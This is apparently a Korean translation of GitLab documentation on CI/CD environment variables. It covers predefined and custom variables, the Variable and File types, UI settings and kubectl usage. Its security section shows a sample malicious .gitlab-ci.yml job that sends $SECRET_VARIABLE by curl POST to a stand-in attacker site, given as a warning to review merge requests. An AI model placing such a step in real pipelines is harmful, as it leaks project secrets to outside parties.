CI/CD 환경변수
환경 변수는 운영 체제에서 실행 중인 프로세스가 작동하는 방식에 영향을 줄 수 있는 동적으로 이름이 지정된 값입니다.
환경 변수는 프로세스가 실행되는 환경의 일부입니다. 예를 들어, 실행 중인 프로세스는 다음을 수행할 수 있습니다.
- 임시 파일을 저장할 올바른 위치를 알기 위하여
TEMP
환경 변수 값 사용 - 다른 스크립트에서 재사용할 수 있는 데이터베이스 URL에 대한
DATABASE_URL
변수 사용
변수는 GitLab CI/CD에서 Job을 사용자 정의하는 데 유용합니다. 변수를 사용하면 값을 하드 코딩할 필요가 없습니다.
사전 정의된 환경 변수
GitLab CI/CD에는 추가 사양 없이 사용할 수 있는 사전 정의된 변수의 기본 세트가 있습니다. 이슈 번호, 사용자 이름, 브랜치 이름, 파이프라인 및 커밋 ID 등을 호출할 수 있습니다.
러너의 로컬 환경을 위해 GitLab에서 사전 정의된 환경 변수를 제공합니다.
GitLab은 .gitlab-ci.yml 파일을 읽고 변수가 노출되는 러너에게 정보를 보냅니다. 그런 다음 러너는 스크립트 명령을 실행합니다.
사전 정의된 환경 변수 사용
러너가 출력할 기존 사전 정의된 변수 중 하나를 선택할 수 있습니다.
이 예에서는 사전 정의된 변수 CI_JOB_STAGE
를 사용하여 Job의 단계를 출력하는 방법을 보여줍니다.
.gitlab-ci.yml
파일의 스크립트에서 변수를 호출합니다. 올바른 구문을 사용하고 있는지 확인하십시오.
test_variable:
stage: test
script:
- echo $CI_JOB_STAGE
이 경우, 러너는 test_variable이라는 Job에 대한 stage를 출력하는데, 그 결과는 test입니다.

사용자 정의 환경 변수
특정 사용자 정의 환경 변수가 필요한 경우, UI, API 또는 .gitlab-ci.yml
파일에서 직접 설정할 수 있습니다.
변수는 파이프라인이 실행될 때마다 러너에서 사용됩니다. 특정 파이프라인에 대해 수동으로 변수 값을 재정의할 수도 있습니다.
변수에는 Variable과 File 두 가지 유형이 있습니다. .gitlab-ci.yml
파일에서 유형을 설정할 수 없지만 UI 및 API에서 설정할 수 있습니다.
.gitlab-ci.yml
에서 사용자 정의 변수 만들기
.gitlab-ci.yml
파일에 사용자 정의 env_var
변수를 만들려면 variables
아래에 변수/값 쌍을 정의합니다.
variables:
TEST: "HELLO WORLD"
그런 다음 스크립트에서 해당 값을 호출할 수 있습니다.
script:
- echo "$TEST"
UI에서 사용자 정의 변수 만들기
UI 내에서 사용자 정의 환경 변수를 추가하거나 업데이트할 수 있습니다.
- 프로젝트의 Settings > CI/CD로 이동하여 Variables 섹션을 확장합니다.
- Add Variable 버튼을 클릭합니다. Add Variable modal에서 세부 사항 입력 :
- Key : 공백 없이 문자, 숫자 또는
_
만 사용하는 한 줄이어야 함 - Value : 제한 없음
- Type :
File
또는Variable
- Environment scope :
All
또는 특정 환경 - Protect variable (선택 사항) : 이 옵션을 선택하면 보호된 브랜치 또는 태그에서 실행되는 파이프라인에서만 변수를 사용할 수 있음
- Mask variable (선택 사항) : 선택한 경우 변수의 Value가 Job 로그에 마스킹됩니다. 값이 마스킹 요구사항을 충족하지 않으면 변수가 저장되지 않습니다.
변수가 생성된 후 편집 버튼을 클릭하여 세부 정보를 업데이트할 수 있습니다.
변수를 설정한 후 .gitlab-ci.yml
파일에서 호 출합니다.
test_variable:
stage: test
script:
- echo $CI_JOB_STAGE # calls a predefined variable
- echo $TEST # calls a custom variable of type `env_var`
- echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file
- cat $GREETING # the temp file itself contains the variable value
출력은 다음과 같습니다.

Maintainer 권한이 있는 프로젝트 구성원만 변수를 업데이트하거나 볼 수 있습니다.
보안
.gitlab-ci.yml
파일로 푸시된 악성 코드는 마스킹된 설정에 관계없이 변수를 손상시키고 타사 서버로 보낼 수 있습니다. 파이프라인이 보호된 브랜치 또는 보호된 태그에서 실행되는 경우 보호된 변수도 손상될 수 있습니다.
.gitlab-ci.yml
에 변경사항을 도입하는 모든 병합 요청은 다음을 수행하기 전에 주의 깊게 검토해야 합니다.
- Fork 된 프로젝트에서 제출된 병합 요청에 대해 상위 프로젝트에서 파이프라인을 실행
- 변경사항 병합
다음은 악성 .gitlab-ci.yml
의 간단한 예입니다.
build:
script:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
Type이 Variable인 사용자 정의 환경 변수
Type이 Variable인 변수의 경우, 러너는 이름에 Key를 사용하고 값에 대해 Value을 사용하는 환경 변수를 만듭니다.
이 유형의 몇 가지 사전 정의된 변수가 있으며 추가로 검증될 수 있습니다. UI에서 변수를 추가하거나 업데이트할 때 나타납니다.
Type이 File인 사용자 정의 환경 변수
Type이 File인 변수의 경우, 러너는 이름에 Key를 사용하는 환경 변수를 만듭니다. Value에 대해 러너는 임시 파일에 변수 값을 쓰고 이 경로를 사용합니다.
AWS CLI 및 kubectl와 같은 도구를 사용하여 File 유형 변수를 사용하도록 구성을 사용자 정의할 수 있습니다.
이전에는 CI 변수의 값을 읽고 파일에 저장 한 다음 스크립트에서 해당 파일을 사용하는 것이 일반적인 패턴이었습니다.
# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
# Pass the newly created file to kubectl
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
대신 File 유형 변수를 사용할 수 있습니다. 예를 들어, 다음과 같은 변수가 있는 경우 :
- 유형이 Variable인 변수 : 값이
https://example.com
인KUBE_URL
- 유형이 File인 변수 : 인증서를 값으로 하는
KUBE_CA_PEM
다음과 같이 .gitlab-ci.yml에서 호출할 수 있습니다.
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"